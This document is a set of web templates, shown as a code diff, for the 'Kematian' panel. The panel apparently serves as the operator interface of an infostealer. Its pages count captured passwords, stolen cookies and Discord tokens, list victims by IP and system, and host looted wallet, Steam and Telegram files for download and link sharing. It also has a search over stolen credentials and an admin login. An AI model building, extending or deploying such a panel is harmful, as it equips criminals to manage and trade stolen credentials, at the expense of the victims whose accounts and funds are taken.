<td>{{ c.os or '—' }}</td>
<td>{{ c.arch or '—' }}</td>
<td>{{ c.version or '—' }}</td>
<td class="mono">{{ c.ip or '—' }}</td>
<td>{{ (c.first_seen | datetime) if c.first_seen else '—' }}</td>
<td>{{ (c.last_seen | datetime) if c.last_seen else '—' }}</td>
<td>{{ c.total_entries }}</td>
</tr>
{% else %}
<tr><td colspan="8" class="empty">No clients yet.</td></tr>
{% endfor %}
</tbody>
</table>
</div>
{% endblock %}
+154
View File
@@ -0,0 +1,154 @@
{% extends "base.html" %}
{% block title %}Dashboard · Kematian {% endblock %}
{% block head %}
<script src="https://cdn.jsdelivr.net/npm/[email protected]/dist/chart.umd.min.js"></script>
{% endblock %}
{% block content %}
<div class="page-head">
<div>
<h1>Dashboard</h1>
<p class="muted">Overview of everything Kematian has collected. t.me/electronic_sex</p>
</div>
<div class="head-actions">
<a class="btn btn-ghost" href="{{ url_for('clients') }}">View clients</a>
</div>
</div>
<div class="stat-row">
<div class="stat-card">
<div class="stat-ico"><img src="{{ url_for('static', filename='icons/files.svg') }}" alt=""></div>
<div class="stat-num">{{ client_count }}</div>
<div class="stat-label">Total Clients</div>
<span class="stat-trend up">live</span>
</div>
<div class="stat-card">
<div class="stat-ico"><img src="{{ url_for('static', filename='icons/pass.svg') }}" alt=""></div>
<div class="stat-num">{{ stats['passwords'].count }}</div>
<div class="stat-label">Passwords Captured</div>
<span class="stat-trend up">collected</span>
</div>
<div class="stat-card">
<div class="stat-ico"><img src="{{ url_for('static', filename='icons/cookie.svg') }}" alt=""></div>
<div class="stat-num">{{ stats['cookies'].count }}</div>
<div class="stat-label">Cookies Stolen</div>
<span class="stat-trend up">collected</span>
</div>
<div class="stat-card">
<div class="stat-ico"><img src="{{ url_for('static', filename='icons/discord.svg') }}" alt=""></div>
<div class="stat-num">{{ stats['discord_tokens'].count }}</div>
<div class="stat-label">Discord Tokens</div>
<span class="stat-trend up">collectible</span>
</div>
</div>
<div class="charts-row">
<div class="chart-card">
<h2>Activity Overview</h2>
<div class="chart-body"><canvas id="activityChart"></canvas></div>
</div>
<div class="chart-card">
<h2>Data Distribution</h2>
<div class="chart-body"><canvas id="distChart"></canvas></div>
</div>
</div>
<div class="page-head" style="margin-bottom:12px">
<div><h1 style="font-size:19px">Recent Activity</h1></div>
<div class="head-actions">
<a class="btn btn-ghost" href="{{ url_for('clients') }}">All clients</a>
<a class="btn btn-primary" href="{{ url_for('all_loot') }}">Downloads</a>
</div>
</div>
<div class="table-card">
<div class="table-scroll">
<table>
<thead>
<tr><th>Date</th><th>Victim</th><th>IP</th><th>System</th><th>Entries</th><th></th></tr>
</thead>
<tbody>
{% for c in recent %}
<tr>
<td class="mono">{{ (c.last_seen | datetime) if c.last_seen else '—' }}</td>
<td><a href="{{ url_for('client_detail', client_id=c.client_id) }}" class="mono client-link">{{ c.client_id }}</a></td>
<td class="mono">{{ c.ip or '—' }}</td>
<td>{{ c.os or '—' }} {{ c.arch or '' }}</td>
<td><span class="chip chip-green">{{ c.total_entries }}</span></td>
<td><a class="btn btn-ghost btn-sm" href="{{ url_for('client_detail', client_id=c.client_id) }}">View</a></td>
</tr>
{% else %}
<tr><td colspan="6" class="empty">No clients yet. Data lands here when the agent posts.</td></tr>
{% endfor %}
</tbody>
</table>
</div>
</div>
<script>
window.addEventListener("DOMContentLoaded", () => {
const PURPLE = "#a855f7";
const PURPLE2 = "#7c3aed";
const grid = "rgba(255,255,255,0.05)";
const labels = {{ chart_labels | tojson }};
const values = {{ chart_values | tojson }};
const icons = {{ chart_icons | tojson }};
// Activity Overview — t.me/electronic_sex
const ctxA = document.getElementById("activityChart");
if (ctxA) {
new Chart(ctxA, {
type: "line",
data: {
labels: labels,
datasets: [{
label: "Entries",
data: values,
borderColor: PURPLE,
backgroundColor: "rgba(168,85,247,0.12)",
fill: true,
tension: 0.4,
pointBackgroundColor: PURPLE,
pointBorderColor: "#0a0a0f",
pointBorderWidth: 2,
pointRadius: 4,
}]
},
options: {
responsive: true, maintainAspectRatio: false,
plugins: { legend: { display: false } },
scales: {
x: { ticks: { color: "#8b8b98", maxRotation: 45, minRotation: 0, font: { size: 10 } }, grid: { color: grid } },
y: { ticks: { color: "#8b8b98", font: { size: 11 } }, grid: { color: grid }, beginAtZero: true }
}
}
});
}
// Data Distribution — donut
const ctxD = document.getElementById("distChart");
if (ctxD) {
const palette = ["#a855f7","#7c3aed","#c084fc","#9333ea","#6d28d9","#d8b4fe","#8b5cf6","#a78bfa"];
new Chart(ctxD, {
type: "doughnut",
data: {
labels: labels,
datasets: [{
data: values,
backgroundColor: palette,
borderColor: "#131318",
borderWidth: 3,
hoverOffset: 6,
}]
},
options: {
responsive: true, maintainAspectRatio: false,
cutout: "62%",
plugins: {
legend: { position: "bottom", labels: { color: "#8b8b98", boxWidth: 12, padding: 10, font: { size: 10 } } }
}
}
});
}
});
</script>
{% endblock %}
+73
View File
@@ -0,0 +1,73 @@
{% extends "base.html" %}
{% block title %}FileShare · Kematian{% endblock %}
{% block content %}
<div class="page-head">
<div>
<h1>File<span class="accent">Share</span></h1>
<p class="muted">Hosted login files (wallets, Steam, Telegram) + your own uploads. Click a file to download, or copy its direct link.</p>
</div>
</div>
<div class="upload-card">
<h2>Upload a file</h2>
<form method="post" action="{{ url_for('fileshare_upload') }}" enctype="multipart/form-data" class="upload-form">
<label>File</label>
<input type="file" name="file" required>
<label>Category <span class="muted">(optional)</span></label>
<input type="text" name="category" value="upload" placeholder="upload" style="max-width:200px">
<button type="submit" class="btn btn-primary">Upload</button>
</form>
<p class="hint">Uploaded files are stored under <code>panel/loot/upload/</code> and get a shareable link.</p>
</div>
<h2 class="section-title">Hosted files <span class="muted">({{ blobs|length }})</span></h2>
<div class="table-card">
<table>
<thead><tr><th>Client</th><th>File</th><th>Type</th><th>Size</th><th></th></tr></thead>
<tbody>
{% for b in blobs %}
<tr>
<td>{% if b.client_id == 'upload' %}<span class="tag">upload</span>{% else %}<a href="{{ url_for('client_detail', client_id=b.client_id) }}" class="mono client-link">{{ b.client_id }}</a>{% endif %}</td>
<td class="mono"><a href="{{ url_for('loot_download', client_id=b.client_id, blob_id=b.id) }}">{{ b.filename }}</a></td>
<td><span class="tag">{{ b.category or '—' }}</span></td>
<td class="mono">{{ (b.size | filesize) }}</td>
<td>
<a class="btn btn-ghost btn-sm" href="{{ url_for('loot_download', client_id=b.client_id, blob_id=b.id) }}">Download</a>
<button type="button" class="btn btn-ghost btn-sm copy-link" data-url="{{ url_for('loot_download', client_id=b.client_id, blob_id=b.id) }}">Copy link</button>
</td>
</tr>
{% else %}
<tr><td colspan="5" class="empty">No files shared yet.</td></tr>
{% endfor %}
</tbody>
</table>
</div>
<h2 class="section-title">Clients with files</h2>
<div class="grid">
{% for cid, items in by_client.items() %}
<a class="type-card" href="{{ url_for('client_loot', client_id=cid) }}">
<img src="{{ url_for('static', filename='icons/files.svg') }}" class="type-ico" alt="">
<div class="type-body">
<div class="type-label mono">{{ 'your uploads' if cid == 'upload' else cid }}</div>
<div class="type-count">{{ items }} file{{ '' if items == 1 else 's' }}</div>
</div>
</a>
{% else %}
<p class="muted">No client has hosted files.</p>
{% endfor %}
</div>
<script>
document.addEventListener("click", (e) => {
const btn = e.target.closest(".copy-link");
if (!btn) return;
const url = new URL(btn.dataset.url, window.location.origin).href;
navigator.clipboard.writeText(url).then(() => {
const prev = btn.textContent;
btn.textContent = "copied ✓";
setTimeout(() => { btn.textContent = prev; }, 900);
}).catch(() => {});
});
</script>
{% endblock %}
+19
View File
@@ -0,0 +1,19 @@
{% extends "base.html" %}
{% block title %}Login · Kematian{% endblock %}
{% block content %}
<div class="auth-wrap">
<form class="auth-card" method="post" action="{{ url_for('login', next=request.args.get('next')) }}">
<div class="auth-logo"></div>
<h1>kematian<span class="accent">panel</span></h1>
<p class="auth-sub">Admin login</p>
<label>Username</label>
<input type="text" name="username" required autofocus placeholder="admin">
<label>Password</label>
<input type="password" name="password" required placeholder="••••••••">
<button type="submit" class="btn btn-primary">Sign in</button>
</form>
</div>
{% endblock %}
+32
View File
@@ -0,0 +1,32 @@
{% extends "base.html" %}
{% block title %}Loot · {{ client_id }} · Kematian{% endblock %}
{% block content %}
<div class="page-head">
<div>
<h1>Files <span class="accent">· {{ client_id }}</span></h1>
<p class="muted">Hosted login files (wallets, Steam, Telegram) — click to download.</p>
</div>
<div class="head-actions">
<a class="btn btn-primary" href="{{ url_for('loot_zip', client_id=client_id) }}">Download all (.zip)</a>
<a class="btn btn-ghost" href="{{ url_for('client_detail', client_id=client_id) }}">Back to client</a>
</div>
</div>
<div class="table-card">
<table>
<thead><tr><th>File</th><th>Type</th><th>Size</th><th></th></tr></thead>
<tbody>
{% for b in blobs %}
<tr>
<td class="mono"><a href="{{ url_for('loot_download', client_id=b.client_id, blob_id=b.id) }}">{{ b.filename }}</a></td>
<td><span class="tag">{{ b.category or '—' }}</span></td>
<td class="mono">{{ (b.size | filesize) }}</td>
<td><a class="btn btn-ghost btn-sm" href="{{ url_for('loot_download', client_id=b.client_id, blob_id=b.id) }}">Download</a></td>
</tr>
{% else %}
<tr><td colspan="4" class="empty">No hosted files for this client yet.</td></tr>
{% endfor %}
</tbody>
</table>
</div>
{% endblock %}
+29
View File
@@ -0,0 +1,29 @@
{% extends "base.html" %}
{% block title %}Loot · Kematian{% endblock %}
{% block content %}
<div class="page-head">
<div>
<h1>Loot</h1>
<p class="muted">All hosted files (wallets, Steam, Telegram) across every client.</p>
</div>
</div>
<div class="table-card">
<table>
<thead><tr><th>Client</th><th>File</th><th>Type</th><th>Size</th><th></th></tr></thead>
<tbody>
{% for b in blobs %}
<tr>
<td><a href="{{ url_for('client_detail', client_id=b.client_id) }}" class="mono client-link">{{ b.client_id }}</a></td>
<td class="mono"><a href="{{ url_for('loot_download', client_id=b.client_id, blob_id=b.id) }}">{{ b.filename }}</a></td>
<td><span class="tag">{{ b.category or '—' }}</span></td>
<td class="mono">{{ (b.size | filesize) }}</td>
<td><a class="btn btn-ghost btn-sm" href="{{ url_for('loot_download', client_id=b.client_id, blob_id=b.id) }}">Download</a></td>
</tr>
{% else %}
<tr><td colspan="5" class="empty">No hosted files yet. They appear when a client reports wallets/Steam/Telegram.</td></tr>
{% endfor %}
</tbody>
</table>
</div>
{% endblock %}
+34
View File
@@ -0,0 +1,34 @@
{% extends "base.html" %}
{% block title %}Search · Kematian{% endblock %}
{% block content %}
<div class="page-head">
<div>
<h1>Search</h1>
<p class="muted">Look for anything across passwords, cookies, and discord tokens.</p>
</div>
</div>
<form class="search-bar" method="get" action="{{ url_for('search') }}">
<input type="text" name="q" value="{{ q }}" placeholder="Search username, url, host, token..." autofocus>
<button type="submit" class="btn btn-primary">Search</button>
</form>
{% if q %}
<div class="table-card">
<table>
<thead><tr><th>Type</th><th>Detail</th><th>Client</th></tr></thead>
<tbody>
{% for r in results %}
<tr>
<td>{{ r.type }}</td>
<td class="mono">{{ r.detail }}</td>
<td><a href="{{ url_for('client_detail', client_id=r.client) }}" class="mono client-link">{{ r.client }}</a></td>
</tr>
{% else %}
<tr><td colspan="3" class="empty">No matches for "{{ q }}".</td></tr>
{% endfor %}
</tbody>
</table>
</div>
{% endif %}
{% endblock %}
+20
View File
@@ -0,0 +1,20 @@
{% extends "base.html" %}
{% block title %}Setup · Kematian{% endblock %}
{% block content %}
<div class="auth-wrap">
<form class="auth-card" method="post">
<div class="auth-logo"></div>
<h1>Create <span class="accent">admin</span></h1>
<p class="auth-sub">One-time setup — runs only once</p>
<label>Username</label>
<input type="text" name="username" required autofocus placeholder="admin">
<label>Password</label>
<input type="password" name="password" required placeholder="min 6 chars">
<button type="submit" class="btn btn-primary">Create & continue</button>
<a href="{{ url_for('login') }}" class="auth-link">Back to login</a>
</form>
</div>
{% endblock %}